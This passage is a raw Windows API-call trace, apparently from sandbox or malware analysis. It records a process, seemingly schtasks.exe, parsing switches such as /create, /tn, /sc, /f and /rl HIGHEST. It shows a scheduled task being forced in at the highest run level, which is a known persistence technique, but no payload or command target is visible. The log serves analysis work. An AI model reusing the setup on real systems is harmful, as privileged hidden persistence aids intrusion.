returned 1 [0135.554] lstrlenW (lpString="i") returned 1 [0135.554] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.554] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.555] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|i|") returned 3 [0135.555] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|rl|") returned 4 [0135.555] lstrlenW (lpString="|i|") returned 3 [0135.555] lstrlenW (lpString="|rl|") returned 4 [0135.555] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.555] lstrlenW (lpString="tn") returned 2 [0135.555] lstrlenW (lpString="tn") returned 2 [0135.555] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.555] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.555] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|tn|") returned 4 [0135.555] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|rl|") returned 4 [0135.555] lstrlenW (lpString="|tn|") returned 4 [0135.555] lstrlenW (lpString="|rl|") returned 4 [0135.555] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0135.555] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.555] lstrlenW (lpString="tr") returned 2 [0135.555] lstrlenW (lpString="tr") returned 2 [0135.555] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.555] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.555] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|tr|") returned 4 [0135.555] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|rl|") returned 4 [0135.555] lstrlenW (lpString="|tr|") returned 4 [0135.555] lstrlenW (lpString="|rl|") returned 4 [0135.555] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0135.555] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.555] lstrlenW (lpString="st") returned 2 [0135.555] lstrlenW (lpString="st") returned 2 [0135.555] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.555] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.556] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|st|") returned 4 [0135.556] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|rl|") returned 4 [0135.556] lstrlenW (lpString="|st|") returned 4 [0135.556] lstrlenW (lpString="|rl|") returned 4 [0135.556] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0135.556] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.556] lstrlenW (lpString="sd") returned 2 [0135.556] lstrlenW (lpString="sd") returned 2 [0135.556] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.556] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.556] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|sd|") returned 4 [0135.556] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|rl|") returned 4 [0135.556] lstrlenW (lpString="|sd|") returned 4 [0135.556] lstrlenW (lpString="|rl|") returned 4 [0135.556] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0135.556] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.556] lstrlenW (lpString="ed") returned 2 [0135.556] lstrlenW (lpString="ed") returned 2 [0135.718] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.718] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.747] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|ed|") returned 4 [0135.753] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|rl|") returned 4 [0135.753] lstrlenW (lpString="|ed|") returned 4 [0135.753] lstrlenW (lpString="|rl|") returned 4 [0135.753] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0135.753] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.753] lstrlenW (lpString="it") returned 2 [0135.753] lstrlenW (lpString="it") returned 2 [0135.753] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.754] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.757] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|it|") returned 4 [0135.762] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|rl|") returned 4 [0135.763] lstrlenW (lpString="|it|") returned 4 [0135.763] lstrlenW (lpString="|rl|") returned 4 [0135.763] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0135.771] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.771] lstrlenW (lpString="et") returned 2 [0135.771] lstrlenW (lpString="et") returned 2 [0135.771] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.803] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.803] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|et|") returned 4 [0135.803] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|rl|") returned 4 [0135.803] lstrlenW (lpString="|et|") returned 4 [0135.803] lstrlenW (lpString="|rl|") returned 4 [0135.803] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0135.803] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.803] lstrlenW (lpString="k") returned 1 [0135.803] lstrlenW (lpString="k") returned 1 [0135.804] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.804] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.804] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|k|") returned 3 [0135.804] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|rl|") returned 4 [0135.804] lstrlenW (lpString="|k|") returned 3 [0135.804] lstrlenW (lpString="|rl|") returned 4 [0135.804] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.804] lstrlenW (lpString="du") returned 2 [0135.804] lstrlenW (lpString="du") returned 2 [0135.804] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.804] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.804] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|du|") returned 4 [0135.804] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|rl|") returned 4 [0135.804] lstrlenW (lpString="|du|") returned 4 [0135.804] lstrlenW (lpString="|rl|") returned 4 [0135.804] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0135.804] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.804] lstrlenW (lpString="ri") returned 2 [0135.804] lstrlenW (lpString="ri") returned 2 [0135.804] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.804] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.804] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|ri|") returned 4 [0135.804] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|rl|") returned 4 [0135.804] lstrlenW (lpString="|ri|") returned 4 [0135.804] lstrlenW (lpString="|rl|") returned 4 [0135.805] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0135.805] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.805] lstrlenW (lpString="z") returned 1 [0135.805] lstrlenW (lpString="z") returned 1 [0135.805] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.805] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.805] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|z|") returned 3 [0135.805] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|rl|") returned 4 [0135.805] lstrlenW (lpString="|z|") returned 3 [0135.805] lstrlenW (lpString="|rl|") returned 4 [0135.805] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.805] lstrlenW (lpString="f") returned 1 [0135.805] lstrlenW (lpString="f") returned 1 [0135.805] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.805] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.805] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|f|") returned 3 [0135.805] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|rl|") returned 4 [0135.805] lstrlenW (lpString="|f|") returned 3 [0135.805] lstrlenW (lpString="|rl|") returned 4 [0135.805] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.805] lstrlenW (lpString="v1") returned 2 [0135.805] lstrlenW (lpString="v1") returned 2 [0135.805] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.805] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.805] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|v1|") returned 4 [0135.805] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|rl|") returned 4 [0135.805] lstrlenW (lpString="|v1|") returned 4 [0135.805] lstrlenW (lpString="|rl|") returned 4 [0135.805] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0135.806] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.806] lstrlenW (lpString="xml") returned 3 [0135.806] lstrlenW (lpString="xml") returned 3 [0135.806] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.806] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.806] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x6, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|xml|") returned 5 [0135.806] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|rl|") returned 4 [0135.806] lstrlenW (lpString="|xml|") returned 5 [0135.806] lstrlenW (lpString="|rl|") returned 4 [0135.806] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0135.806] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.806] lstrlenW (lpString="ec") returned 2 [0135.806] lstrlenW (lpString="ec") returned 2 [0135.806] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.806] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.806] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|ec|") returned 4 [0135.806] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|rl|") returned 4 [0135.806] lstrlenW (lpString="|ec|") returned 4 [0135.807] lstrlenW (lpString="|rl|") returned 4 [0135.807] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0135.807] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.807] lstrlenW (lpString="rl") returned 2 [0135.807] lstrlenW (lpString="rl") returned 2 [0135.807] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.807] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.807] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|rl|") returned 4 [0135.808] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|rl|") returned 4 [0135.808] lstrlenW (lpString="|rl|") returned 4 [0135.808] lstrlenW (lpString="|rl|") returned 4 [0135.808] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0135.808] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.808] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.808] lstrlenW (lpString="HIGHEST") returned 7 [0135.808] lstrlenW (lpString="-/") returned 2 [0135.808] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0135.808] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.808] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.808] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.808] lstrlenW (lpString="HIGHEST") returned 7 [0135.808] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0135.808] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.808] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.808] _memicmp (_Buf1=0x2781b7ca930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.808] lstrlenW (lpString="HIGHEST") returned 7 [0135.808] lstrlenW (lpString="HIGHEST") returned 7 [0135.808] lstrlenW (lpString=" \x09") returned 2 [0135.808] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0135.808] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0135.808] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0135.808] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0135.808] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0135.808] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0135.808] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0135.808] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0135.808] GetLastError () returned 0x0 [0135.808] lstrlenW (lpString="HIGHEST") returned 7 [0135.808] lstrlenW (lpString="HIGHEST") returned 7 [0135.808] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.808] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.809] lstrlenW (lpString="/f") returned 2 [0135.809] lstrlenW (lpString="-/") returned 2 [0135.809] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0135.809] lstrlenW (lpString="create") returned 6 [0135.809] lstrlenW (lpString="create") returned 6 [0135.809] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.809] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.809] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x9, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|create|") returned 8 [0135.809] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|f|") returned 3 [0135.809] lstrlenW (lpString="|create|") returned 8 [0135.809] lstrlenW (lpString="|f|") returned 3 [0135.809] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0135.809] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.809] lstrlenW (lpString="?") returned 1 [0135.809] lstrlenW (lpString="?") returned 1 [0135.809] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.809] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.809] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|?|") returned 3 [0135.809] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|f|") returned 3 [0135.809] lstrlenW (lpString="|?|") returned 3 [0135.809] lstrlenW (lpString="|f|") returned 3 [0135.809] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0135.809] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.809] lstrlenW (lpString="s") returned 1 [0135.809] lstrlenW (lpString="s") returned 1 [0135.809] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.810] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.810] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|s|") returned 3 [0135.810] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|f|") returned 3 [0135.810] lstrlenW (lpString="|s|") returned 3 [0135.810] lstrlenW (lpString="|f|") returned 3 [0135.810] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0135.810] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.810] lstrlenW (lpString="u") returned 1 [0135.810] lstrlenW (lpString="u") returned 1 [0135.810] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.810] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.810] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|u|") returned 3 [0135.810] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|f|") returned 3 [0135.810] lstrlenW (lpString="|u|") returned 3 [0135.810] lstrlenW (lpString="|f|") returned 3 [0135.810] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0135.810] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.810] lstrlenW (lpString="p") returned 1 [0135.810] lstrlenW (lpString="p") returned 1 [0135.810] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.810] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.810] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|p|") returned 3 [0135.810] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|f|") returned 3 [0135.810] lstrlenW (lpString="|p|") returned 3 [0135.810] lstrlenW (lpString="|f|") returned 3 [0135.810] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0135.811] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.811] lstrlenW (lpString="ru") returned 2 [0135.811] lstrlenW (lpString="ru") returned 2 [0135.811] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.811] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.811] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|ru|") returned 4 [0135.811] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|f|") returned 3 [0135.811] lstrlenW (lpString="|ru|") returned 4 [0135.811] lstrlenW (lpString="|f|") returned 3 [0135.811] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0135.811] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.811] lstrlenW (lpString="rp") returned 2 [0135.811] lstrlenW (lpString="rp") returned 2 [0135.811] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.811] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.811] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|rp|") returned 4 [0135.811] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|f|") returned 3 [0135.811] lstrlenW (lpString="|rp|") returned 4 [0135.811] lstrlenW (lpString="|f|") returned 3 [0135.811] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0135.811] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.811] lstrlenW (lpString="sc") returned 2 [0135.811] lstrlenW (lpString="sc") returned 2 [0135.811] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.811] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.811] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|sc|") returned 4 [0135.811] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|f|") returned 3 [0135.811] lstrlenW (lpString="|sc|") returned 4 [0135.812] lstrlenW (lpString="|f|") returned 3 [0135.812] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0135.812] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.812] lstrlenW (lpString="mo") returned 2 [0135.812] lstrlenW (lpString="mo") returned 2 [0135.812] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.812] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.812] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|mo|") returned 4 [0135.812] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|f|") returned 3 [0135.812] lstrlenW (lpString="|mo|") returned 4 [0135.812] lstrlenW (lpString="|f|") returned 3 [0135.812] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0135.812] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.812] lstrlenW (lpString="d") returned 1 [0135.812] lstrlenW (lpString="d") returned 1 [0135.812] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.812] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.812] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|d|") returned 3 [0135.812] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|f|") returned 3 [0135.812] lstrlenW (lpString="|d|") returned 3 [0135.812] lstrlenW (lpString="|f|") returned 3 [0135.812] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0135.812] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.812] lstrlenW (lpString="m") returned 1 [0135.812] lstrlenW (lpString="m") returned 1 [0135.812] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.812] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.813] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|m|") returned 3 [0135.813] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|f|") returned 3 [0135.813] lstrlenW (lpString="|m|") returned 3 [0135.813] lstrlenW (lpString="|f|") returned 3 [0135.813] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0135.813] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.813] lstrlenW (lpString="i") returned 1 [0135.813] lstrlenW (lpString="i") returned 1 [0135.813] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.813] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.813] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|i|") returned 3 [0135.813] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|f|") returned 3 [0135.813] lstrlenW (lpString="|i|") returned 3 [0135.813] lstrlenW (lpString="|f|") returned 3 [0135.813] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0135.813] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.813] lstrlenW (lpString="tn") returned 2 [0135.813] lstrlenW (lpString="tn") returned 2 [0135.813] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.813] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.813] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|tn|") returned 4 [0135.813] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|f|") returned 3 [0135.813] lstrlenW (lpString="|tn|") returned 4 [0135.813] lstrlenW (lpString="|f|") returned 3 [0135.813] StrStrIW 